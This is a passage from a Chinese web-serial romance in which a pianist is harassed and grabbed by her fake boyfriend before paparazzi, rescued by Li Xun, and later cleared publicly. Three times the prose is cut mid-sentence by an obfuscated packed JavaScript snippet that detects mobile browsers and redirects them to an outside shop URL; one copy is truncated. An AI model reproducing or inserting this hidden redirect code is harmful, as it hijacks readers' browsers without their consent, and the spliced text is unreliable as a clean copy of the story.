每一个女性、每一次被无数镜头这样对准,伴随的都不是什么好事,梁初灵同样如此。 几年前那无数审判她一举一动的长枪短炮,带来的窒息卷土重来。 她可以为了工作在镜头前完美表演,但在猝不及防中,是无法掩藏内心中对镜头的恐惧和慌乱的,而这更会被解读成心虚。 “听说克莱本的评委席给你留了位置?”伊凡忽然开口。 梁初灵抬眼看他,不接话。 “当然,当然。你的演奏完美,情感充沛。我总忍不住想,你弹那些悲怆的曲子时,心里究竟在想什么?是在排练那些阴暗的念头,还是在回味——” “回味怎么比你弹得好?”梁初灵其实没有力气讲话,但她总是不肯认输,总是想要将他人一军,于是喜欢透支自己去攻击。 伊凡冷笑一声:“你和周序又见面了。真有意思,五年前他为你差点坐牢,五年后还能随叫随到。你给他下了什么蛊?” “我和谁见面关你什么事?” “是不关我事。”伊凡点头,故作恍然,“毕竟你现在想见谁就见谁。周序、李炽,还有你那个小跟班金溪,整天围着你转。你说她们到底图什么?” “至少不是图我妈妈是叶莲娜。” 这句话刺中了伊凡。他眼底闪过狠戾,一时间没说话。 “你忮忌我。”梁初灵忽然说,“是吗?” “忮忌你?”伊凡嗤笑,“忮忌一个中国女人?梁初灵,你以为你比我干净?你吸了多少人的血才爬到今天?” “我没有强迫任何人。” “是没有。你只是摆出那副可怜样,就毁了周序的名声,而现在又轮到了我,我也是被你毁的。” “你是被你自己毁的好不好!”梁初灵想一口唾沫吐他脸上。 伊凡扯出一个更恶毒的笑:“我怎么毁的不重要,还是说说你吧,你知道那个女人现在怎么样了吗?那个差点被你弄死的女人。” 梁初灵的瞳孔收缩。 “你当然不会主动去打听。你怎么会愿意知道,她直到现在还需要依靠药物才能度过夜晚,她的儿子害怕任何突然的声响和陌生人的靠近?” 伊凡终于找到了能引起梁初灵情绪波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882172|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的话语,更加肆无忌惮。 “你不知道。”伊凡替她回答,“你当然不知道。你在柯蒂斯弹琴,拿奖,当评委,风光无限。谁会记得你手上沾着别人的恐惧?你每拿一个奖,每上一次台,都在提醒她——伤害她的人过得很好,非常好。这比绑架更残忍,你不觉得吗?” 梁初灵的身体开始控制不住发抖,她努力想抓住什么回击的话,但脑海里一片空白。 快门声越来越近,梁初灵能感觉到镜头在捕捉她脸上的变化。 心脏如擂鼓,梁初灵去摸口袋里的手机,找谁呢,经纪人,助理,远水救不了近火。还能找谁呢? 她不安到想要祈求上天,让一个绝不会伤害她的人出现…… 越过那些熟悉的工作相关的名字,几乎是不受控地,她播出一串记忆中的号码,播出的那一刻,她就想起来,这是李寻的旧号码。 那么这个号码也许已经是空号——拨通了。 那么这个号码可能早就不是李寻在用——接通了。 “梁初灵?”李寻的声音带着诧异,从听筒那端传来。 梁初灵几乎语塞,几乎眼眶湿润,几乎要控制不住发抖。 伊凡就站在她旁边,将她所有的反应尽收眼底,“这么慌乱,打给谁?救世主?”伊凡的声音像毒蛇吐信,钻进她耳膜,“啊,让我猜猜……能让你在这种时候第一时间想起的,是周序?还是你又找到了新玩物?” 梁初灵和李寻这对名字鲜有人知,提起李寻,也只是梁初灵的恩师之子,二人曾一起上过课。伊凡更是没听说过李寻,笃定电话那头是周序。 “真感人,五年了,他还能随叫随到。不过你们二人的确般配,不然当年也不会一起进行一场未遂的谋杀。两个十几岁的孩子啊——真了不起。” 梁初灵哆哆嗦嗦想跟李寻说一下自己的位置,结果发现电话被挂断了。 她背靠着墙壁,伊凡站在她旁边,那张本该英俊的脸上此刻只有疯狂。 “你看,”伊凡忽然笑了,“那些镜头。像不像五年前堵在你家门口的那些?我记得新闻照片——你妈妈把你护在身后,你吓得像只兔子。” “你当时是不是想着,如果那个女人死了就好了?如果那个孩子……” “你闭嘴。”梁初灵的声音开始发抖。 “我为什么要闭嘴?五年前你就是个疯子,现在装什么正常人?你半夜会做噩梦,梦见那对母女吗?” “看看你现在,发抖,害怕,像五年前那个躲在妈妈身后的小女孩。你一点都没变。五年前你为什么那么做?因为爸爸出轨?哦真可怜,所以就要毁掉另一个女人和孩子的人生?梁初灵,这不就是疯子的逻辑?” “你知道吗?我觉得我是在替天行道。让所有人都看看,你梁初灵是什么人。” 梁初灵闭上眼睛。 “睁开眼睛!”伊凡厉声说,“看着我!” 她听话睁开眼。 “对,就这样。崩溃吧,发疯吧,这才是你,梁初灵。” 狗仔们已经近在咫尺。 伊凡在这时向后撤开一小步,张开手臂,脸上切换成痛苦的温柔,声音提高:“Ling,够了,看着我,冷静下来!我知道那些旧事还在折磨你,我知道你压力大到无法承受,但别再陷进去了!我不在乎你对我的伤害,我知道那是因为你控制不住你自己。没关系!我在这里,我会帮你,我们一起去面对,好吗?别怕……” 于是问题开始抛过来,混合着快门的咔嚓声。 【梁小姐!我们注意到,您几乎从不谈论那起旧案对您艺术的影响,这种沉默,是一种自我保护,还是对受害者缺乏应有的关注?】 【您认为您的艺术成就,与她们承受的痛苦,是否构成了某种不公平的对比?您是否认为,艺术家有道德义务,去更积极地面对和弥补过去造成的伤害,而不是仅仅将其作为艺术的养料?】 梁初灵眼前发黑,伊凡握住梁初灵的肩膀,强迫她看着自己:“Ling!我知道你不是故意的,当年那件事,你太年轻太恨了,后来你也后悔了,对吗?你只是病了,就像现在一样,压力太大了,旧病复发。我会陪着你,我会帮你承担!” 伊凡充满了表演性的痛苦与包容,他张开双臂,做出一个想要拥抱安抚的姿势,却在看似温柔的拥抱中加重力道,将梁初灵死死禁锢在怀里。 梁初灵被他勒得生疼,更让她头皮发麻的是,伊凡的脸正在凑近——意图亲吻。 “滚开啊!”梁初灵用尽全身力气偏开头,右手挣脱束缚,抡圆了甩在伊凡脸上。 耳光响亮,伊凡被打得偏过头去,却又立刻转回来,脸上非但没有怒意,反而浮现出近乎狂热的悲情。他捂着脸,眼眶瞬间通红,泪水说来就来,声音哽咽又响亮:“我不怪你!我依然爱你!” 他一边哭喊着一边再次伸出双手,这次是带着强制性的抓握,将梁初灵重新锁进怀里,嘴唇也不顾一切地凑上来。 男人的力量在此刻展露无遗。 梁初灵拼命挣扎,用手推搡,用脚踢蹬,但伊凡的手臂像铁一样难以撼动。 她被力量压制着向后踉跄,屈辱和愤怒烧干了她的声音,只剩下破碎的气音:“放…开…我!” 梁初灵扭头看向周围那些镜头和面孔:“能不能帮帮我?帮我拉住他!” 没有人动。 狗仔们举着相机,快门声此起彼伏,贪婪地吮吸着这场闹剧的每一帧。 没有人上前,只有人为了更好的拍摄角度还在调整位置。 闪光灯不断亮起,映照出梁初灵无助的脸和伊凡涕泪横流的疯狂。 梁初灵感觉自己正在被活生生剥开,她挣不开,逃不掉,喊不应。 眼前开始发黑,她的眩晕感越来越重,快要喘不上气—— 来人在伊凡还没反应过来的瞬间,一记拳头已经砸在他的脸上。 伊凡的哭诉戛然而止,发出一声痛呼,整个人被打得向后趔趄,松开了对梁初灵的钳制,踉跄几步后摔倒在地。 李寻看都没看倒在地上的伊凡,第一时间脱下自己的外套,罩在梁初灵的头上。 宽大的外套隔绝了大部分的闪光灯和视线,将她笼进一片带着他体温和气息的的狭小空间。 李寻两步上前,在伊凡刚刚撑起上半身时,又是一拳砸下去,力道比刚才更重。 “李寻!”声音从外套下传来。 李寻再次挥出的拳头悬在半空,他深吸一口气,站起身,不再看地上呻吟的伊凡。 在他站直的同一刻,梁初灵一头扎进李寻怀里,紧紧抱住他的腰,手放在他心脏处。 四周的快门声近乎疯狂,夹杂着惊呼。 李寻对周遭一切置若罔闻,一手环着梁初灵,另一只手挡在她侧脸和后脑,防止镜头拍到她的表情,用自己挡住了大部分拍摄角度,在她耳边用只有两人能听到的声音说:“没事了,我在这儿。别抬头,别松手,跟我走。” 46. 《爱之梦第三首》 狗仔们显然没料到这个发展,兴奋得镜头都快按碎,伊凡脸色一阵青一阵白,但李寻和梁初灵都无暇顾及。 有几个人还想往前凑,试图拍到梁初灵埋在李寻怀里的脸。 李寻不再看他们,低下头,在梁初灵耳边说:“能走吗?” 梁初灵在他怀里点了点头。 保持着半拥着她的姿势,李寻带着梁初灵朝剧院内部工作人员区域的侧门走去。 李寻完全挡住梁初灵,两个胆大的举着相机一路跟拍背影,直到两人消失在侧门后。 门关上,隔绝了外面的一切喧嚣。 门外面只剩下伊凡和一群兴奋又遗憾的记者,伊凡看着那扇关上的门,拳头握紧又松开,他知道自己制造了一个更大的新闻——梁初灵和另一个男人。 门里面灯光昏暗,李寻松开了拥抱,但手还扶在梁初灵的手臂上,确保她站稳。 梁初灵抬起头,太多话堵在喉咙里,最后只变成一句:“你怎么进来的?” “我有工作证。”李寻言简意赅,他打量着她,“你还好吗?” 梁初灵点了点头,又摇了摇头。 李寻没再问,打电话让助理帮他把车开到B2员工通道出口,再对梁初灵说,“我先送你回家?” 梁初灵摇头:“我家小区外可能已经有记者了。” 以伊凡团队的作风,既然能在剧院布控,那此刻小区门口恐怕已经蹲守着镜头,等着捕捉她狼狈回家的画面。 “那去我家?” 梁初灵转回头看他:“那也会给你和李炽老师带来危险。” 她说的是给你们带来危险,而不是“我不想去”。李寻听出了这层未言明的意思,心情放松很多。 “那就去酒店吧。你需要休息,也需要一个没人打扰的地方想想接下来怎么办。” “好。”梁初灵点头。 李寻今天累够呛,担心疲劳驾驶,让助理开车,他和梁初灵坐后座,助理启动车之前,突然把一个手机向后递给李寻,说有上面的人员问一下明后天的休息安排。 这是国家项目,李寻平时沟通工作都用一部新的工作手机,为了精确留痕。 接过工作手机,他又把自己的手机递给梁初灵:“你用我的名字先开房,你的身份信息太显眼。” 梁初灵接过,李寻的手机壁纸是一双眼睛,梁初灵一眼看出来是她的眼睛……她盯着自己的眼睛看半天,发现了奥秘在哪里——她的瞳孔里是李寻。 北京华灯初上,梁初灵突然探身去看李寻的眼睛,他的眼睛里同时倒映着霓虹灯和月亮。 酒店套房在二十七层,门在李寻身后合拢,梁初灵肩膀依然绷得很紧,李寻知道她还在害怕。被镜头围攻被恶意窥探的恐惧,不会因为物理距离拉开就消散。 “想喝点什么吗?” 梁初灵摇了摇头,她脸上的妆容还完好,但眼底的惊悸藏不住。 李寻看着她这副样子,想起以前,梁初灵被网上的谣言攻击,也是这样背脊挺直,那时候他会拍拍她的肩膀,现在他不能再拍她的肩膀,挺奇怪,刚才明明搂了抱了,现在倒是连走近一点都不自在。 但李寻还是想哄哄她。走到小吧台,烧水,泡了两杯晚安茶,递给她一杯。 “坐吧。”他说。 梁初灵接过茶杯,在沙发一角坐下。李寻在她斜对面的单人沙发坐下,保持一段礼貌的距离。 两人之间隔着一张茶几,一盏落地灯的光晕柔和铺开。 梁初灵忽然开口:“对不起啊。” 李寻抬眼看她。 “我把你拖下水了。今晚的照片和视频发出去,你的身份一定会被扒出来,你的工作可能会受影响。我总是在给你添麻烦,是不是?” “梁初灵,”他叫她的全名,“在你心里,我就是那种会因为怕麻烦而转身走开的人吗?” 梁初灵浅浅看了他一眼。 “五年前不是,现在也不是。” 房间里又安静下来,李寻看着她依然紧绷,很想做点什么打破这层凝重。 他声音放得轻缓:“狗仔拍的照片,大概率会很难看。” 梁初灵眼神困惑。 李寻分析:“那种偷拍,构图基本没有,光线全靠闪光灯。人脸上全是油光和阴影,表情都是扭曲的。所以你先期待一下,到时候能看到我的丑照了。” 梁初灵反应很慢地笑了一下。 李寻还在继续逗她,而梁初灵就一直这样看他,看他说话时嘴唇开合,看着看着她放下茶杯走了过去—— 李寻察觉到她的动作,用掌心挡在她唇前。 梁初灵一颤,曾经他也是这样挡住了她的吻,然后笑着说:“不急。” 李寻收回手,还是那两个字:“不急。” 梁初灵反应还是慢,盯着他看了一会儿才问:“为什么不急?” 李寻想说我们之间还有很多问题没解决,想说你和伊凡到底分没分手,想问你跟周序又是怎么回事,想说这五年需要重新认识—— 梁初灵没给他开口的机会。 “我想亲你。我急。” 她看着他,眼神倔强,“你让不让我亲?” 第三遍重复,“亲不亲?” 李寻的理智在喊:等等,先说清楚,先把问题摊开—— 身体先于大脑做出了反应,他不会让梁初灵重复同一个需求超过三次。 李寻把梁初灵往下拽坐在自己腿上,倾身吻她。 左手扶住她的肩膀,右手牵起她的手,十指相扣。 梁初灵立刻回应,空着的那只手攀上他后颈,手指插进他发间,将他拉得更近。 吻变得深入,急切,带着发泄的力度。茶杯被碰倒,滚落在地毯上,但没人理会。 五年。一千八百多个日夜。所有未说的话,未解的结,未愈合的伤,在这个吻里碰撞、撕扯、交融。 不知过了多久,李寻稍稍退开,两人的呼吸都乱了,额头相抵,气息交融。梁初灵的手指还在他发间,眼神迷蒙看着他近在咫尺的脸。 李寻闭了闭眼,再睁开时,理智回笼,但没松开她的手,只是低声道:“现在能问问题了吗?” 梁初灵眨了眨眼,还没从那个吻里完全清醒。 “你跟伊凡,分手了吗?” 梁初灵怔住,然后猛地一拍李寻的大腿,惊呼:“我的天!没分!” 李寻:“……你现在分。” 梁初灵总算找回了思绪:“我得先给叶莲娜老师打个电话,这事得跟她说一声。” 李寻皱眉:“你跟伊凡分手,为什么要跟她说?” 梁初灵这才想起来李寻并不知道内情。她组织了一下语言,用尽可能简洁的方式解释了一遍始末,她说得简单,但李寻听懂了。 古典音乐圈的保守和虚伪,他是知道的。他也知道叶莲娜对梁初灵有提携之恩,这种请求,以梁初灵的性格很难拒绝。 梁初灵实话实说了一通,也实话实说她想联系一下叶莲娜老师怎么办,毕竟梁初灵曾给出过承诺。 李寻说:“承诺应该有底线。当承诺已经给你带来了危险的时候,这份承诺就不再有约束力。” 梁初灵看着他:“那你呢?” “我什么?”他问。 “五年前,你答应我的表白承诺的时候,难道没有意识到危险吗?” 怎么可能没意识到。 梁初灵像一场精心编排的暴风雨。李寻那么聪明,那么敏锐。他看得见那些裂缝,听得见裂缝深处传来命运一步步走近的声音——不是走向梁初灵,而是走向他。 走向那个注定会被她的风暴卷入,被她沉重而美丽的情感拖入深海的他。 他都知道。可人就是这样荒谬的生物,越是清醒地看见危险,越是会被那危险所散发的光芒吸引。 像看见流星,不,应该比流星更甚。 流星只是一瞬的惊艳,燃烧殆尽后只剩虚无。 梁初灵不是流星,她是遥远的恒星,带着自身庞大的质量、炽烈的光热、以及注定会坍缩或爆发的命运,朝李寻所在的轨道呼啸而来。 即使知道靠近会被引力撕裂,即使知道交汇的瞬间可能就是毁灭的开始,即使知道最后留下的只会是残骸和伤痕—— 他还是伸出了手。 因为那光芒太美,美到让他觉得,如果这一生不曾被这样的光灼伤过,不曾在那极致的光热中彻底地活过一瞬,那么这人生是多么安全的无聊。 答应她表白的那天,李寻就知道这一切,他爱光芒、爱危险、爱梁初灵。 所以他说:“好。” 只要留住那交汇的一瞬。 那么即使之后是冰冷和黑暗也值得。 在的确身处冰冷和黑暗后,李寻买过一个沙漏,以为忘掉梁初灵就像沙漏里的沙子,漏完了就好了,但他不断翻来覆去,才发现,原来沙子要漏完,得先把外面的玻璃砸碎。 爱只要存在过,连消失也佐证它存在过。 李寻看着坐在他腿上的梁初灵。 心底的声音在说:李寻,你又踏进去了。这次,你可能真的出不来了。 而另一个声音在回答:那就不要出来。 “意识到了,可是我爱你。”李寻直言。 我爱你,所以你有权利使用我。 人确切的爱只有一次,之后的都是对它拙劣的模仿。 那么我将永远爱你,不管你爱不爱我。 梁初灵抽出自己一直被李寻牵着的手,摊开掌心,曾经流淌出去的那份温度,现在重新被灌回,温度再顺着掌纹流入心里。 “所以这三年,你和伊凡……”李寻的声音有些哑,还是想再确认一遍。 “是假的。”梁初灵肯定地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885413|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李寻心底某个紧绷了许久的结,悄无声息地松开,心里的刺被拔了出来,留下一个空落落的,但不再疼痛的洞。 梁初灵敏锐地察觉到了他情绪的变化。看着他放松的肩膀,和眼底的释然,忽然明白过来。 “你刚才在害怕?” 李寻默认。 梁初灵试探着问:“害怕今晚这事上热搜?对不起,李寻。这事儿肯定会上热搜的……我也不知道怎么办才好。” “我确实总是在伤害你,是不是?” 她语气里的自责,让李寻自嘲的笑起来,只好又亲了她一口,接着紧紧抱住她。 “我是在害怕。”他承认,“不过不是怕那些。” 梁初灵看着他,等他说下去。 “我害怕你突然改变主意,不打算跟他分手了。” “害怕我成了小三。” “更害怕我拉不下脸当小三。” “梁初灵,我怕死了。” 怕的不是外界的评判,不是事业的受损,是怕自己在她心里的位置,不足以让她为他切断另一段关系。 梁初灵忽然眼眶发酸:“你怎么会这么想我,我怎么可能……” “怎么不可能?”李寻忽然学着她的语气,活灵活现地模仿她那天在咖啡厅对周序说的话:“我就不分。” 梁初灵瞪大眼睛:“你果然听见了!” “你当时语气挺硬。” 梁初灵的脸涨红,伸手去打他:“你还学我!” 打着打着,不知怎么又吻到了一起。 这次吻得比刚才更温柔,少了些发泄,多了些确认。梁初灵的手从他肩上滑下,环住他的腰。李寻的手掌抚过她的脊背,能感觉到她衬衫下微微凸起的肩胛骨。 吻渐渐加深,温度攀升。 就在梁初灵的手开始不安分地往他衬衫下摆探时,李寻握住了她的手腕:“别亲了。再亲我今晚走不了了。” 梁初灵轻声说:“那就别走。” “留下来,可以吗?” 李寻看着眼前的她,脑子里是多年前的她。 多年前的她一瘸一拐拉开家门,看着门外为她而来的站在阳光中的李寻,像看着溺水时的浮木,她说想在一起,可以吗? 眼前的她刚在众目睽睽下被逼至崩溃边缘,李寻将她从镜头的围猎中带离,在这个隔绝外界的房间里,她惊魂未定,她说留下来,可以吗? 她的邀请,她的渴求,有多少是劫后余生的应激,有多少是情感缺口被撕开后需填补的空洞?又有多少是指向他李寻这个人的爱与欲望? 李寻不敢去分清。害怕答案是前者居多;害怕自己再一次成为她慌乱时抓住的稻草;害怕今夜的一切热烈,天亮之后会在她的眼眸里冷却。 可是,就像多年前一样——他无法拒绝。 李寻沉默的时间太久,梁初灵准备收回手:“如果你不想……” 话没说完,梁初灵被他吻得向后倒去,陷进柔软的沙发里,李寻的手臂撑在她身侧,另一只手捧着她的脸,指尖抚过她的眉眼,鼻梁,最后停在她耳畔,摩挲她的耳垂。 吻从嘴唇移到下颌,再到脖颈。 很珍惜的把梁初灵从上到下都细密吻一遍后,李寻才撑起身,在昏暗中定定看着梁初灵。 两人的衣服都褪下、皮肤相贴的瞬间,又都默契的停住动作。 五年分离,各自成长,此刻赤裸相对,像是确认:这还是我认识的那个人吗? 李寻摸了摸梁初灵锁骨下方的一道疤痕,是她大一校赛时被灯烫到的,他低下头亲吻那块疤,像在安抚旧伤,也标记一段他未曾参与的属于她身体的历史。 梁初灵的眼泪毫无预兆地掉下来,带着鼻音,“对不起。” 又是对不起。 肌肤相亲,呼吸交错,李寻却因为梁初灵一句对不起,而再次被拉回不安的泥沼。 他害怕她接下来会说:对不起,我是因为受不了打击,才抓住你不放。 他不要她有这样的念头。 所以,李寻用指腹抹去梁初灵的泪,近乎叹息:“我们不去说这个了好吗?” 就悬置吧,好吗? 尽管我如此讨厌将问题悬置。 但就悬置吧,好吗? 把问题悬置起来,把分析悬置起来。 让这个夜晚只属于体温、心跳和确凿的拥有。让思考停摆,让只有感觉存在。 李寻原本的爱情观里,痴人之爱毫无美感。 他不觉得为爱受苦有什么欢愉,不觉得单方面的付出有什么崇高。 他要的是对等的、清醒的、两个人都睁着眼睛的爱情。 但爱情里却总有不清醒的部分。 总有冲动,有纠结,有反复思辨后依然还是要爱的固执。 即使违背本性,答案还是要爱。 还是要爱。 47. 《托卡塔》 冬日的光柔和到近乎慈悲,铺满凌乱的床单。 梁初灵先醒的,身体像是被拆解重组过,每一寸肌肉都留着昨夜绵长的记忆,但奇异的是,内心那片惊涛骇浪,变成近乎虚脱的平静。 李寻还在睡,睡颜却和她记忆中一样青涩。 她看了一会儿,确认自己已经十!分!冷!静! 才敢翻出来手机看消息,该来的总会来。 点开社媒—— 嗯?预想中的腥风血雨并未出现。 热搜榜上确实有伊凡的名字,高居前列,但关联词条是: 【伊凡吸du实锤视频】 【伊凡辱骂同行录音曝光】 【伊凡前男友控诉其家暴】 【伊凡骗婚gay?】 火力集中,简直刀刀见血,舆论一片哗然,古典音乐圈和娱乐新闻板块同时地震。 然而没有任何一条热搜,任何一篇报道,提及昨晚剧院后台的混乱。没有梁初灵,更没有李寻。那些对着她们疯狂按下的快门,仿佛是一场集体幻觉。 在伊凡相关的讨论中,关于梁初灵的部分被引导—— 她是被蒙蔽的受害者、识人不明的痴情女,还有庆幸梁初灵幸好没成同妻的。 偶尔有几条质疑她是否早知内情的评论,也迅速被“叶莲娜都出面道歉了还能有假?”的声音淹没。 梁初灵惊得赶紧去找叶莲娜在哪儿道歉了?什么道歉啊?跟谁道歉啊? 但李寻不知何时醒了,手臂从身后环过来箍住她,下巴搁在她肩头:“在看什么?” 梁初灵脸一下红了,只好假装冷静地把手机屏幕侧过去给他看。 李寻浏览了片刻:“不对劲吧?” “太干净了对吧?”梁初灵说出他的想法。 像一场暴雨过后,唯独她们站立的那一小片地面滴水未沾般的干净。 “那就是被特意打扫过。”李寻也拿过自己的手机,搜索了梁初灵和自己的名字,结果一无所获。 梁初灵的手机响起来,她看了一眼李寻,接起按下免提。 “Ling,”一个略显疲惫的女声传来,带着莫斯科知识分子的克制,“是我。你还好吗?” 梁初灵坐直了身体:“叶莲娜老师。” “请允许我正式向你道歉。”叶莲娜的声音很稳,打断梁初灵可能涌出的客套,“我为我的儿子伊凡对你所做的一切,以及我本人当初轻率的请求,给你带来的麻烦和伤害,表示最深的歉意。这是我的错误,因为这是由我的傲慢所造成的。” 当年叶莲娜找梁初灵,因为她以为自己的孩子只是性向不同,而仅因为这个原因就断送前程,叶莲娜的确认为荒谬而不公。 她以为伊凡是个好孩子,只是需要一点掩护。 “我利用了你对我的尊重和情谊,这是我的傲慢——我傲慢地以为我了解我的儿子,傲慢地以为这不会对你造成实质影响。” “直到最近,我才知道他是如此不堪。他不仅欺骗了你,也欺骗了我,这不是性向问题,这是人品问题,而我对你造成了如此严肃的伤害。” “老师,您别这么说……”梁初灵有点手足无措,左手无意识在摆手,被李寻握住。 “事实如此。所以我来了。我不会允许伊凡或者我再伤害你。昨天晚上我就到了北京。那些不该出现的照片不会出现。相关的人我也已经处理好。伊凡会为自己的一切行为负责,接受应有的后果。” “他以后不会再有机会靠近你,也不会再用任何方式打扰你。他留下的烂摊子,我会负责清理干净。这是我的责任,也是我对你的补偿。” 梁初灵和李寻对视一眼,这位以强硬和专业著称的钢琴家,效率向来高。 叶莲娜语气变得温和:“Ling,这件事是我和伊凡对不起你。后续,无论你需要任何形式的澄清、声明,或者艺术上的合作、推荐,我一定义不容辞。这是我个人的承诺,与伊凡无关。” “老师,您不用这样的!”梁初灵在面对偶像对她放低姿态时,首先感到的居然是愧疚。 “这是我应该做的。你是我看着成长起来的最有天赋的孩子,我珍惜你的才华,更珍惜你这个人。让你陷入这种境地,是我的失察和错误。” “在俄罗斯,我们有一句话:自己酿的苦酒,自己喝干。所以,让我来处理。好了,我不多占用你的时间。好好准备你的音乐会。舞台是你的,谁都夺不走。” “另外,关于你和伊凡的关系,你自由了,孩子。你从来都是自由的,只是被我愚蠢的建议困住了。我很抱歉。” 电话挂断,李寻的手轻轻捏了捏梁初灵的手指。 梁初灵也终于找到叶莲娜注册的中文账号,看到了她发布的声明,表达梁初灵是受害者,一直被伊凡所欺骗,还顺带宣传了梁初灵的新专辑…… 这条微博被李炽、金溪、周序、甚至只有一面之缘的陈导等,都点了赞。 默契的声援将梁初灵安全地包裹。 一场预料中的风暴就这样消弭于无形,甚至为她赢得了同情和关注。 梁初灵感觉有些不真实,一场男人的风波竟然没有扯女性下水,甚至因伊凡是gay的缘故,这场热搜狂欢的加害者受害者都只有男人。 梁初灵看着窗外,北京冬日的天空是一种灰蓝,阳光稀薄而明亮,疏疏落落的树枝切割着天际线,显得冷清又开阔。 那些恐惧,甚至与李寻在绝境中碰撞出的炽热,仿佛都因这过于利落的解决,而失去了某种真实的重量。 李寻似有所察,继续从背后紧抱住她,好像在证明那炽热真实。 安静的拥抱持续了几分钟,梁初灵像是突然被电击一样,从他怀里弹开。 “完了!”她低呼一声,手忙脚乱地开始在地上散落的衣物中寻找自己的,“几点了?我的航班是晚上……不对,我得先回家拿行李,天哪我什么都没准备!” 李寻被她这突如其来的慌乱逗乐,但也跟着坐起身,看了一眼手机时间:“还早,刚过九点。你晚上几点的飞机?” “八点四十!”梁初灵已经套上了上衣,正在和牛仔裤的扣子搏斗,头发乱糟糟披在肩上,脸上还带着红晕,眼神却已经切换成了赶行程模式,“我得回家收拾。” 李寻下床,也捡起自己的衣服穿,看着她团团转的样子,嘴角忍不住上扬。昨晚那个在他怀里颤抖又热烈索吻的梁初灵,和眼前这个为了赶飞机慌里慌张的梁初灵重叠,让他觉得可爱。 “别急。”他走到她身后,帮她理了理翻进去的衣服领子,“我送你。” 梁初灵转过头看他:“你今天不忙?” “剧组今天调休,没安排。而且,送你比较重要。你让你的助理直接去机场等你吧。” 梁初灵松了口气,毫不客气地开始派活:“那行!那你先送我回家拿行李,然后送我去你家跟栗子道别,然后再送我去机场!” 她数完,肚子忽然叫了一声,于是理直气壮地补充:“路上再给我买点吃的!我真饿得不行了!从昨天中午到现在就没正经吃东西!” 李寻也是真被她逗得不行了,没忍住笑出声:“好,听小天才安排。” 梁初灵被他笑得有点不好意思,但饿意占了上风,推了他一把:“快点!真的饿!” 车子驶上机场高速时,已是下午四点。 车外景色以一种坦荡而萧瑟的姿态铺展在外,树木褪尽了叶子,枝桠伸向天空,线条清晰如素描。偶尔有常青的松柏,绿的顽固。 空气干冷清澈,能见度高,世界显得辽阔,一种属于北方的有力量的冬意,包裹着行驶的车厢。 往大兴机场走,竟意外经过一片残雪,区与区真是气候差异大。残雪在背阴处闪着固执的白。 梁初灵靠在椅背上,下午告别时得不舍消减,觉得在这时离开也不错。把一堆事留在身后,奔赴一个有音乐和极光的地方。 手机又响了,是经纪人。 “初灵,舆论风向对我们非常有利。我觉得你还是应该出来回应一下,现在大家都很同情你,趁这个机会巩固一下形象。发个声明,表示一下对欺骗的震惊和失望,但更会专注于音乐什么的。” 梁初灵没立刻回答,她在想,自己需要去扮演那个“震惊、失望但坚强”的受害者吗?去展示自己的伤害,来换取更多的同情吗? “算了吧,我不想回应。没什么好说的。” 经纪人了解她的脾气:“那你落地后发条微博,提一下即将开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李寻觉得她的状态怪怪的,还想旁敲侧击猜一下,没敲几句,绿灯亮了,他又继续开车。 直到李寻把车停在航站楼外,梁初灵裹紧围巾,李寻推着行李箱送她到安检入口的界线处。 人群熙攘,梁初灵接过行李箱,准备转身进去的时候,那句话终于冲破了所有犹豫:“我们现在是什么关系?” 李寻没料到她会问这个问题,刚好有旅客走到李寻的身后替他挡住了风,于是风停顿、人失神,仿佛一种悬空术。 人又很快走开,李寻落了地。 李寻没有回答,反问她:“我们以前是什么关系?” 她们明明在正式在一起之前,就走向了决裂。 没有牵手走在校园里的阳光,没有以恋人身份出席过任何场合,没有向共同的朋友介绍过这是我男朋友/女朋友。 明明没有真的在一起过。 却真的经历了所有分手该有的痛苦、拉扯、伤害和漫长的分离。 没有真正开始,却有真正的结束。 一个尚未诞生的生命,却拥有了完整的墓志铭。 她们之间连一个正式的开始都未曾拥有,就已经被判过死刑。 她们缺乏一个起点。没有那个起点,所以后来的所有分离都失去了一个可以回溯的坐标。 李寻此刻提起这个,是否在说,我们以前是什么关系,那么现在就是什么关系? 一段未曾正式命名过开始、却承载了全部离别重量的关系? 梁初灵突然在飞机上惊醒。 机舱内温度很高,她却感到寒冷。 一个总是稳定的人,长出了不安; 一个喜欢直面问题的人,选择了将问题搁置; 一个对待情感郑重的人,如今和她不清不楚。 一切的拧巴、矛盾、反常——源头都在她身上。 在她造成的创伤后遗症里,他努力调整自己来适应她的再次出现。 梁初灵望着窗外漆黑无垠的夜空,孤独和清醒同时包裹了她。 她需要时间和距离去想清楚,她到底能给李寻一个什么样的关系,一个什么样的开始。 她不能再让他等一个模糊的未来了。 48. 《眼泪》 飞机降落在特罗姆瑟机场时,窗外是下午三点就已沉入的极夜,不是全黑,是一种深邃的蓝,介于黄昏与午夜之间,积雪覆盖的大地反着微光,像沉睡巨兽的脊背。 演出主办方安排的车已经在等。 抵达酒店,简单安顿,当晚正好有一场欢迎宴会——早知道梁初灵就晚一天到了,她不喜欢参加这种社交。 